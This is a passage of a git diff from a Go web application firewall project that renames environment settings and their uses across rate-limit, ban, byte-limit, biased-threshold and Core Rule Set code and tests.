defaultLookupWait is the default of SWW_WAF_LOOKUP_TIMEOUT. + // defaultLookupWait is the default of SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS. defaultLookupWait = 800 * time.Millisecond - // defaultReputationWait is the default of SWW_WAF_REPUTATION_TIMEOUT. - defaultReputationWait = 2 * time.Second + // defaultDNSBLAbuseIPDBWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS. + defaultDNSBLAbuseIPDBWait = 2 * time.Second // The header limits SPEC.md gives. cookieLimit = 50 headerFieldLimit = 100 @@ -80,7 +80,7 @@ func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem( ) { t.Parallel() - s := startWAF(t, "", map[string]string{wafMode: block}) + s := startWAF(t, "", map[string]string{coreRuleSetMode: block}) req := s.question(siteA, client, "/") req.Header.Set(cookieHeader, strings.Repeat("a;", 16000)) @@ -160,7 +160,7 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) { t.Run(tc.name, func(t *testing.T) { t.Parallel() - s := startWAF(t, "", map[string]string{wafMode: block}) + s := startWAF(t, "", map[string]string{coreRuleSetMode: block}) req := s.question(siteA, client, "/") tc.make(req) @@ -195,9 +195,9 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) { t.Parallel() for _, env := range []map[string]string{ - {wafMode: off}, - {wafMode: "detect"}, - {wafMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"}, + {coreRuleSetMode: off}, + {coreRuleSetMode: "detect"}, + {coreRuleSetMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"}, } { t.Run(fmt.Sprint(env), func(t *testing.T) { t.Parallel() @@ -217,7 +217,7 @@ func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) { s := startWAF( t, "", - map[string]string{wafMode: block, allowNets: client}, + map[string]string{coreRuleSetMode: block, allowNets: client}, ) req := s.question(siteA, client, "/") req.Header.Set(cookieHeader, cookies(cookieLimit+1)) @@ -228,7 +228,11 @@ func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) { func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) { t.Parallel() - s := startWAF(t, "", map[string]string{mode: observe, wafMode: block}) + s := startWAF( + t, + "", + map[string]string{mode: observe, coreRuleSetMode: block}, + ) req := s.question(siteA, client, "/") req.Header.Set(cookieHeader, strings.Repeat("a;", 16000)) @@ -298,7 +302,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) { }, { "a DNS blocklist", map[string]string{ - dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny, + dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionDeny, }, "/", func(_ *testing.T, server *waf.Server, _ time.Time) { loadVerdicts(server, map[string][]string{client: {dnsblZone}}) @@ -306,7 +310,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) { }, { "AbuseIPDB", - map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny}, + map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionDeny}, "/", func(_ *testing.T, server *waf.Server, _ time.Time) { // Over SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default. loadScores(server, map[string]int64{client: 80}) @@ -325,7 +329,9 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) { leaveAsItIs, }, { - "a block rule", map[string]string{rulesDir: writeRules(t, testRules)}, "/blocked", + "a block rule", + map[string]string{ruleFilesDir: writeRules(t, testRules)}, + "/blocked", leaveAsItIs, }, } { @@ -366,9 +372,9 @@ func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) { t, map[string]standInRoute{client: {prefixDE, 64496}}, ), - dnsblZones: dnsblZone, reputationAction: actionLog, - rulesDir: writeRules(t, "noted path log ^/\n"), - wafMode: block, + dnsblZones: dnsblZone, dnsblAbuseIPDBAction: actionLog, + ruleFilesDir: writeRules(t, "noted path log ^/\n"), + coreRuleSetMode: block, }) loadLists(t, s.server, map[string][]string{vpnList: {client}}) loadVerdicts(s.server, map[string][]string{client: {dnsblZone}}) @@ -426,7 +432,9 @@ func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) { // not wait. geojsURL, _ := startGeoJS(t) s := startWAF(t, geojsURL, map[string]string{ - unknownLimitPercent: "0", lookupTimeout: "1h", rateLimitPerMinute: "1", + unknownCountryLimitPercent: "0", + asnAndCountryLookupTimeout: "3600000", + rateLimitPerMinute: "1", }) countClient(t, s.server, s.clock.Now()) @@ -459,7 +467,7 @@ func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting( // not wait. geojsURL, _ := startGeoJS(t) s := startWAF(t, geojsURL, map[string]string{ - unknownLimitPercent: "0", rateLimitPerMinute: "1", + unknownCountryLimitPercent: "0", rateLimitPerMinute: "1", }) s.server.GeoJS.Load([]lookup.Answer{{ Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512", @@ -494,7 +502,7 @@ func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits( geojsURL, asked := startGeoJS(t) s := startWAF(t, geojsURL, map[string]string{ - mode: observe, addLookupHeaders: on, lookupTimeout: "1h", + mode: observe, addLookupHeaders: on, asnAndCountryLookupTimeout: "3600000", }) req := s.question(siteA, fromDE, "/") req.Header.Set(cookieHeader, cookies(cookieLimit+1)) @@ -622,8 +630,10 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) { action: requestlog.ActionClientIsRateLimited, }, { - name: "the rate limits, with a biased threshold", - env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"}, + name: "the rate limits, with a biased threshold", + env: map[string]string{ + rateLimitPerMinute: "1", unknownCountryLimitPercent: "50", + }, prepare: countClient, status: forbidden, action: requestlog.ActionClientIsRateLimited, }, @@ -646,8 +656,9 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) { t.Run(tc.name, func(t *testing.T) { t.Parallel() - // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays - // says, so that a request that does not wait takes no time at all. + // In a synctest bubble, as + // TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, + // so that a request that does not wait takes no time at all. synctest.Test(t, func(t *testing.T) { server, out := newWAFInBubble(t, tc.env) tc.prepare(t, server, time.Now()) @@ -759,7 +770,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs( return waf.New(params) }, silentGeoJSURL, time.Now, map[string]string{ - tagDeny: "country=KP", wafMode: block, + tagDeny: "country=KP", coreRuleSetMode: block, dnsblZones: dnsblZone, dnsblResolver: resolver, abuseIPDBKey: accountKey, blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt", @@ -770,7 +781,8 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs( // network inside it would keep its clock from moving on. go server.Lists.Run(t.Context()) - // In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the + // In the bubble, as + // TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, the // answer takes exactly as long as waf waits, however busy the host is. // GeoJS and AbuseIPDB never answer there, without the network. The query to // the DNS blocklist waits on the network, which stops the bubble's clock, @@ -832,7 +844,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs( // The query is answered, and the check with AbuseIPDB abandoned, // before the bubble ends. releaseResolver() - time.Sleep(defaultReputationWait) + time.Sleep(defaultDNSBLAbuseIPDBWait) }) } diff --git a/internal/waf/bans.go b/internal/waf/bans.go index 7fad282..7e16880 100644 --- a/internal/waf/bans.go +++ b/internal/waf/bans.go @@ -81,11 +81,11 @@ func limitFigures(hit ratelimit.Hit) map[string]any { // countedBytes returns the request's bytes, once it has ended, as the // byte limits and the anomaly thresholds count them: the response's body -// bytes, the request's, or both, as SWW_WAF_BYTES_COUNT says. +// bytes, the request's, or both, as SWW_WAF_BYTES_COUNTED says. func (rq *request) countedBytes() int64 { response, request := rq.out.bytes, rq.requestBytes - switch rq.h.config.BytesCount { + switch rq.h.config.BytesCounted { case "response": return response case "request": @@ -100,8 +100,8 @@ func (rq *request) countedBytes() int64 { // the metrics. status is what the client was sent, or is sent: // SWW_WAF_BAN_RESPONSE for a request over a rate limit, what the report says for // one whose bytes broke a byte limit, the refusal for one that broke the -// error burst. The ban's notes give the client's limit percentage for a -// rate limit or a byte limit; the error burst is not lowered. The ban sets +// refusal limit. The ban's notes give the client's limit percentage for a +// rate limit or a byte limit; the refusal limit is not lowered. The ban sets // the client's counters back to zero. In observe mode it makes no ban and // sets nothing back, and raises the alert for the ban it would have made, // if that alert would be sent. diff --git a/internal/waf/bans_test.go b/internal/waf/bans_test.go index c2fe745..a2f2a23 100644 --- a/internal/waf/bans_test.go +++ b/internal/waf/bans_test.go @@ -90,10 +90,10 @@ func TestBanLengthsFollowTheSettings(t *testing.T) { t.Parallel() s, clk, _ := startWithClock(t, "", map[string]string{ - rateLimitPerMinute: "1", - limitBanDuration: "10m", - limitBanRepeatWindow: "1h", - maxBanDuration: "1h", + rateLimitPerMinute: "1", + limitBanDuration: "10m", + limitBanRepeatWindow: "1h", + limitBanPermanentAbove: "1h", }) // breakLimit has client go over the limit of one a minute, and @@ -130,7 +130,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) { clk.advance(10 * time.Minute) wantExpires(breakLimit(), 30*time.Minute) - // 90 minutes would be longer than SWW_WAF_MAX_BAN_DURATION: the ban is + // 90 minutes would be longer than SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE: the ban is // permanent. clk.advance(30 * time.Minute) @@ -256,10 +256,10 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) { geojsURL, asked := startGeoJS(t) s, _, _ := startWithClock(t, geojsURL, map[string]string{ - lookupTimeout: "1h", - rateLimitPerMinute: "1", - banScopeV4Prefix: "24", - tagDeny: denyKP, + asnAndCountryLookupTimeout: "3600000", + rateLimitPerMinute: "1", + banScopeV4Prefix: "24", + tagDeny: denyKP, }) // fromDE's ban covers otherClient, which is refused unasked about. @@ -319,10 +319,10 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) { geojsURL, _ := startGeoJS(t) env := map[string]string{ - lookupTimeout: "1h", - rateLimitPerMinute: "1", - denyNets: denied, - tagDeny: denyKP, + asnAndCountryLookupTimeout: "3600000", + rateLimitPerMinute: "1", + denyNets: denied, + tagDeny: denyKP, } if tc.setting != "" { @@ -345,9 +345,9 @@ func TestBanNotes(t *testing.T) { geojsURL, _ := startGeoJS(t) s, clk, server := startWithClock(t, geojsURL, map[string]string{ - lookupTimeout: "1h", - rateLimitPerMinute: "1", - tagDeny: denyKP, + asnAndCountryLookupTimeout: "3600000", + rateLimitPerMinute: "1", + tagDeny: denyKP, }) start := clk.Now() diff --git a/internal/waf/biased.go b/internal/waf/biased.go index 1a23092..3e729df 100644 --- a/internal/waf/biased.go +++ b/internal/waf/biased.go @@ -17,14 +17,15 @@ type percentage struct { } // biasedThresholdsSet reports whether a biased threshold can lower a -// client's limits by its lookup: SWW_WAF_ASN_BYTES_PERCENT or -// SWW_WAF_COUNTRY_BYTES_PERCENT is not empty, SWW_WAF_UNKNOWN_LIMIT_PERCENT is -// below 100, or SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is -// then needed before its request goes on. -func biasedThresholdsSet(cfg *config.Config) bool { - return len(cfg.ASNBytesPercent) > 0 || - len(cfg.CountryBytesPercent) > 0 || - cfg.UnknownLimitPercent < whole || +// client's limits by its lookup: SWW_WAF_ASN_BYTES_LIMIT_PERCENT or +// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT is not empty, +// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is below 100, or +// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is then needed +// before its request goes on. +func biasedThresholdsSet(cfg *config.WAF) bool { + return len(cfg.ASNBytesLimitPercent) > 0 || + len(cfg.CountryBytesLimitPercent) > 0 || + cfg.UnknownCountryLimitPercent < whole || cfg.ASNLimitPercentURL != "" } @@ -37,13 +38,13 @@ func biasedThresholdsSet(cfg *config.Config) bool { // SWW_WAF_ASN_LIMIT_PERCENT_URL names gives its AS number, the one // SWW_WAF_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its // other tags, for a client without a country, unless its request skipped -// the wait for GeoJS, SWW_WAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist +// the wait for GeoJS, SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT, for a client a blocklist // lists, the percentage of SWW_WAF_BLOCKLIST_ACTION while it is limit, and // for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is -// a hit, the percentage of SWW_WAF_REPUTATION_ACTION while it is limit. For -// the byte limits, SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT -// take the place of the first three for an AS number or a country they -// list. +// a hit, the percentage of SWW_WAF_DNSBL_ABUSEIPDB_ACTION while it is limit. For +// the byte limits, SWW_WAF_ASN_BYTES_LIMIT_PERCENT and +// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT take the place of the first three for +// an AS number or a country they list. func (rq *request) limitPercentages() (percentage, percentage) { cfg := rq.h.config asn, country := rq.line.ASN, rq.line.Country @@ -51,8 +52,8 @@ func (rq *request) limitPercentages() (percentage, percentage) { unknown := percentage{percent: whole} if country == "" && !rq.skippedLookupWait { unknown = percentage{ - cfg.UnknownLimitPercent, - "SWW_WAF_UNKNOWN_LIMIT_PERCENT", + cfg.UnknownCountryLimitPercent, + "SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT", } } @@ -69,12 +70,12 @@ func (rq *request) limitPercentages() (percentage, percentage) { } } - reputationListed := percentage{percent: whole} + dnsblAbuseIPDBListed := percentage{percent: whole} if (rq.dnsblListed || rq.abuseIPDBHit) && - cfg.ReputationAction == "limit" { - reputationListed = percentage{ - cfg.ReputationLimitPercent, - "SWW_WAF_REPUTATION_ACTION", + cfg.DNSBLAbuseIPDBAction == "limit" { + dnsblAbuseIPDBListed = percentage{ + cfg.DNSBLAbuseIPDBLimitPercent, + "SWW_WAF_DNSBL_ABUSEIPDB_ACTION", } } @@ -102,24 +103,24 @@ func (rq *request) limitPercentages() (percentage, percentage) { } asnBytes, countryBytes := asnRequests, countryRequests - if _, listed := cfg.ASNBytesPercent[asn]; listed { + if _, listed := cfg.ASNBytesLimitPercent[asn]; listed { asnBytes = given( - cfg.ASNBytesPercent, + cfg.ASNBytesLimitPercent, asn, - "SWW_WAF_ASN_BYTES_PERCENT", + "SWW_WAF_ASN_BYTES_LIMIT_PERCENT", ) } - if _, listed := cfg.CountryBytesPercent[country]; listed { + if _, listed := cfg.CountryBytesLimitPercent[country]; listed { countryBytes = given( - cfg.CountryBytesPercent, + cfg.CountryBytesLimitPercent, country, - "SWW_WAF_COUNTRY_BYTES_PERCENT", + "SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT", ) } // The limits that lower requests and bytes alike. - common := lowest(otherTags, unknown, blocklisted, reputationListed) + common := lowest(otherTags, unknown, blocklisted, dnsblAbuseIPDBListed) return lowest(asnRequests, countryRequests, common), lowest(asnBytes, countryBytes, common) diff --git a/internal/waf/biased_test.go b/internal/waf/biased_test.go index 41382e4..8bc2e00 100644 --- a/internal/waf/biased_test.go +++ b/internal/waf/biased_test.go @@ -8,6 +8,7 @@ import ( "net/http/httptest" "net/netip" "path/filepath" + "strconv" "strings" "testing" "testing/synctest" @@ -22,10 +23,10 @@ import ( // The biased thresholds. const ( - tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT" - asnBytesPercent = "SWW_WAF_ASN_BYTES_PERCENT" - countryBytesPercent = "SWW_WAF_COUNTRY_BYTES_PERCENT" - unknownLimitPercent = "SWW_WAF_UNKNOWN_LIMIT_PERCENT" + tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT" + asnBytesLimitPercent = "SWW_WAF_ASN_BYTES_LIMIT_PERCENT" + countryBytesLimitPercent = "SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT" + unknownCountryLimitPercent = "SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT" ) const ( @@ -60,7 +61,7 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) { }{ {tagLimitPercent, asnTagDEHalf, fromDE}, {tagLimitPercent, countryTagDEHalf, fromDE}, - {unknownLimitPercent, "50", unplaced}, + {unknownCountryLimitPercent, "50", unplaced}, } { t.Run(tc.setting, func(t *testing.T) { t.Parallel() @@ -108,9 +109,9 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) { }{ {tagLimitPercent, asnTagDEHalf, fromDE}, {tagLimitPercent, "Country=de:50", fromDE}, - {unknownLimitPercent, "50", unplaced}, - {asnBytesPercent, "as64496:50", fromDE}, - {countryBytesPercent, countryDEHalf, fromDE}, + {unknownCountryLimitPercent, "50", unplaced}, + {asnBytesLimitPercent, "as64496:50", fromDE}, + {countryBytesLimitPercent, countryDEHalf, fromDE}, } { t.Run(tc.setting, func(t *testing.T) { t.Parallel() @@ -149,7 +150,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) { } } -func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits( +func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits( t *testing.T, ) { t.Parallel() @@ -163,22 +164,28 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits( }{ { "lowering the byte limits alone", - map[string]string{asnBytesPercent: asnDEHalf}, - none, "50 from " + asnBytesPercent, minuteBytes, + map[string]string{asnBytesLimitPercent: asnDEHalf}, + none, "50 from " + asnBytesLimitPercent, minuteBytes, }, { "lowering the byte limits alone, by country", - map[string]string{countryBytesPercent: countryDEHalf}, - none, "50 from " + countryBytesPercent, minuteBytes, + map[string]string{countryBytesLimitPercent: countryDEHalf}, + none, "50 from " + countryBytesLimitPercent, minuteBytes, }, { "raising the byte limits back", - map[string]string{tagLimitPercent: asnTagDEHalf, asnBytesPercent: asnDE + ":100"}, + map[string]string{ + tagLimitPercent: asnTagDEHalf, + asnBytesLimitPercent: asnDE + ":100", + }, "50 from " + tagLimitPercent, none, "", }, { "raising the byte limits back, by country", - map[string]string{tagLimitPercent: countryTagDEHalf, countryBytesPercent: "de:100"}, + map[string]string{ + tagLimitPercent: countryTagDEHalf, + countryBytesLimitPercent: "de:100", + }, "50 from " + tagLimitPercent, none, "", }, } { @@ -214,7 +221,7 @@ func TestZeroPercentIsAZeroAllowance(t *testing.T) { s, _, _ := startWithLookups( t, - map[string]string{unknownLimitPercent: "0"}, + map[string]string{unknownCountryLimitPercent: "0"}, ) // The first request breaks the limit, and bans the client; the log line @@ -225,12 +232,12 @@ func TestZeroPercentIsAZeroAllowance(t *testing.T) { requestlog.ActionClientIsRateLimited, ) if line.fields["rate_limit_percent"] != float64(0) || - line.fields["rate_limit_percent_setting"] != unknownLimitPercent { + line.fields["rate_limit_percent_setting"] != unknownCountryLimitPercent { t.Errorf( "log line has rate_limit_percent %v from %v, want 0 from %s", line.fields["rate_limit_percent"], line.fields["rate_limit_percent_setting"], - unknownLimitPercent, + unknownCountryLimitPercent, ) } @@ -264,11 +271,11 @@ func TestLowestPercentageApplies(t *testing.T) { }, { "that for a client without a country", - map[string]string{tagLimitPercent: "asn=64500:50", unknownLimitPercent: "25"}, - noCountry, "25 from " + unknownLimitPercent, + map[string]string{tagLimitPercent: "asn=64500:50", unknownCountryLimitPercent: "25"}, + noCountry, "25 from " + unknownCountryLimitPercent, }, { - // SWW_WAF_UNKNOWN_LIMIT_PERCENT is left at its default, 100. + // SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is left at its default, 100. "the AS number's, for a client without a country", map[string]string{tagLimitPercent: "asn=64500:25"}, noCountry, "25 from " + tagLimitPercent, @@ -296,13 +303,13 @@ func TestLowestPercentageApplies(t *testing.T) { } } -func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage( +func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage( t *testing.T, ) { t.Parallel() s, _, _ := startWithLookups(t, map[string]string{ - rateLimitPerMinute: fourAMinute, unknownLimitPercent: "50", + rateLimitPerMinute: fourAMinute, unknownCountryLimitPercent: "50", }) // One the lookup database does not hold, and one on a private address, @@ -323,14 +330,17 @@ func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage( } } -func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) { +func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent( + t *testing.T, +) { t.Parallel() - // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays - // says, with a GeoJS that never answers. + // In a synctest bubble, as + // TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, with + // a GeoJS that never answers. synctest.Test(t, func(t *testing.T) { server, out, _ := newWAF(t, silentGeoJSURL, time.Now, - map[string]string{unknownLimitPercent: "0"}) + map[string]string{unknownCountryLimitPercent: "0"}) // Once the time the request waits for its answer is up, the client // counts as without a country, and its zero allowance refuses the @@ -346,7 +356,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) { ) wantPercent(t, "rate_limit_percent", line.RateLimitPercent, line.RateLimitPercentSetting, - "0 from "+unknownLimitPercent) + "0 from "+unknownCountryLimitPercent) }) } @@ -365,22 +375,26 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) { // A tag the lookup does not give needs no answer. {tagLimitPercent, "vpn:50", false}, {tagDeny, "vpn", false}, - {asnBytesPercent, asnDEHalf, true}, - {countryBytesPercent, countryDEHalf, true}, - {unknownLimitPercent, "99", true}, + {asnBytesLimitPercent, asnDEHalf, true}, + {countryBytesLimitPercent, countryDEHalf, true}, + {unknownCountryLimitPercent, "99", true}, {asnLimitPercentURL, asnURL, true}, // At 100, its default, it lowers no limit. - {unknownLimitPercent, "100", false}, + {unknownCountryLimitPercent, "100", false}, } { t.Run(tc.setting+"="+tc.value, func(t *testing.T) { t.Parallel() - // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays - // says, with a GeoJS that never answers. + // In a synctest bubble, as + // TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, + // with a GeoJS that never answers. synctest.Test(t, func(t *testing.T) { server, out, _ := newWAF(t, silentGeoJSURL, time.Now, map[string]string{ - lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value, + asnAndCountryLookupTimeout: strconv.FormatInt( + timeout.Milliseconds(), 10), + tagLists: "vpn=" + vpnList, + tc.setting: tc.value, }) began := time.Now() @@ -449,10 +463,10 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert( "a byte limit", map[string]string{ bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter, - asnBytesPercent: asnDEHalf, + asnBytesLimitPercent: asnDEHalf, }, 0, http.StatusOK, requestlog.ActionForward, - "bytes per minute over the limit of 99", "50 from " + asnBytesPercent, + "bytes per minute over the limit of 99", "50 from " + asnBytesLimitPercent, }, } { t.Run(tc.name, func(t *testing.T) { diff --git a/internal/waf/bytelimits.go b/internal/waf/bytelimits.go index e12fdab..7ad1ca4 100644 --- a/internal/waf/bytelimits.go +++ b/internal/waf/bytelimits.go @@ -1,6 +1,6 @@ package waf -// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNT, and the byte limits +// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNTED, and the byte limits // and biased thresholds through the limiter and limitPercentages. import ( diff --git a/internal/waf/bytelimits_test.go b/internal/waf/bytelimits_test.go index fab5ec7..bc1f9c1 100644 --- a/internal/waf/bytelimits_test.go +++ b/internal/waf/bytelimits_test.go @@ -22,10 +22,10 @@ const ( bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE" bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR" bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY" - bytesCount = "SWW_WAF_BYTES_COUNT" + bytesCounted = "SWW_WAF_BYTES_COUNTED" ) -// The values of SWW_WAF_BYTES_COUNT. +// The values of SWW_WAF_BYTES_COUNTED. const ( countResponse = "response" countRequest = "request" @@ -212,7 +212,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) { t, answerAfterUpgrade, map[string]string{ - bytesLimitPerMinute: "29", bytesCount: tc.setting, + bytesLimitPerMinute: "29", bytesCounted: tc.setting, }, ) @@ -239,7 +239,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) { } } -func TestBytesCountSaysWhichBytesCount(t *testing.T) { +func TestBytesCountedSaysWhichBytesAreCounted(t *testing.T) { t.Parallel() for _, tc := range []struct { @@ -257,7 +257,7 @@ func TestBytesCountSaysWhichBytesCount(t *testing.T) { t.Parallel() s, _ := startWithAnswers(t, map[string]string{ - bytesLimitPerMinute: byteLimit, bytesCount: tc.setting, + bytesLimitPerMinute: byteLimit, bytesCounted: tc.setting, }) for i := 1; i <= tc.breaking; i++ { diff --git a/internal/waf/coreruleset.go b/internal/waf/coreruleset.go index 9b76bc0..e05ca11 100644 --- a/internal/waf/coreruleset.go +++ b/internal/waf/coreruleset.go @@ -1,7 +1,7 @@ package waf // The heuristic core_rule_set. It reads SWW_WAF_CORE_RULE_SET_MODE, -// SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS and SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD. +// SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS and SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD. import ( "context" @@ -17,7 +17,7 @@ import ( // SWW_WAF_CORE_RULE_SET_MODE is off or SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS // exempts its path, as pathExempt decides, and notes the rules it matched and // its score in the log line, and the rules in the metrics. A score at or over -// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD is a match: it adds the tag +// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD is a match: it adds the tag // exploitsignature, raises the core_rule_set_match alert, and in block mode // refuses the request with 403, which is an offence its client's history // counts. Its figures are the score and the threshold. @@ -31,8 +31,8 @@ func (coreRuleSet) check( _ time.Time, ) *verdict { cfg := rq.h.config - if cfg.WAFMode == config.WAFModeOff || - pathExempt(rq.in, cfg.WAFExemptPaths) { + if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff || + pathExempt(rq.in, cfg.CoreRuleSetExemptPaths) { return nil } @@ -50,10 +50,10 @@ func (coreRuleSet) check( rq.line.CoreRuleSetScore = &result.Score for _, id := range result.RuleIDs { - rq.h.metrics.CoreRuleSetMatched(cfg.WAFMode, id) + rq.h.metrics.CoreRuleSetMatched(cfg.CoreRuleSetMode, id) } - threshold := cfg.WAFAnomalyThreshold + threshold := cfg.CoreRuleSetScoreThreshold if threshold == 0 || result.Score < threshold { return nil } @@ -61,7 +61,7 @@ func (coreRuleSet) check( rq.addTag(config.ExploitSignatureTag) rq.alertCoreRuleSetMatch(result) - if cfg.WAFMode == config.WAFModeDetect { + if cfg.CoreRuleSetMode == config.CoreRuleSetModeDetect { return nil } @@ -78,7 +78,7 @@ func (coreRuleSet) check( // alertCoreRuleSetMatch raises the core_rule_set_match alert for the request, // which the Core Rule Set scored at result, at or over -// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD. Its detail gives the rule ids, the +// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD. Its detail gives the rule ids, the // score, the method and the path with the query, and, for a request that is // not refused for it, the mode: detect, or observe in observe mode. func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) { @@ -90,8 +90,8 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) { } switch { - case rq.h.config.WAFMode == config.WAFModeDetect: - detail["mode"] = config.WAFModeDetect + case rq.h.config.CoreRuleSetMode == config.CoreRuleSetModeDetect: + detail["mode"] = config.CoreRuleSetModeDetect case rq.h.config.Observe: detail["mode"] = "observe" } @@ -105,7 +105,7 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) { ASName: rq.line.ASName, Country: rq.line.Country, Reason: "scored by the Core Rule Set at or over " + - "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD", + "SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD", Detail: detail, }) } diff --git a/internal/waf/coreruleset_test.go b/internal/waf/coreruleset_test.go index 2192be6..39829ef 100644 --- a/internal/waf/coreruleset_test.go +++ b/internal/waf/coreruleset_test.go @@ -18,20 +18,20 @@ import ( // The Core Rule Set's settings the tests set, besides SWW_WAF_CORE_RULE_SET_MODE, and // its two modes that inspect requests. const ( - wafAnomalyThreshold = "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD" - wafDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES" - wafExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS" - wafBodyLimit = "SWW_WAF_CORE_RULE_SET_BODY_LIMIT" - apps = "SWW_WAF_APPS" - block = "block" - detect = "detect" + coreRuleSetScoreThreshold = "SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD" + coreRuleSetDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES" + coreRuleSetExemptPaths = 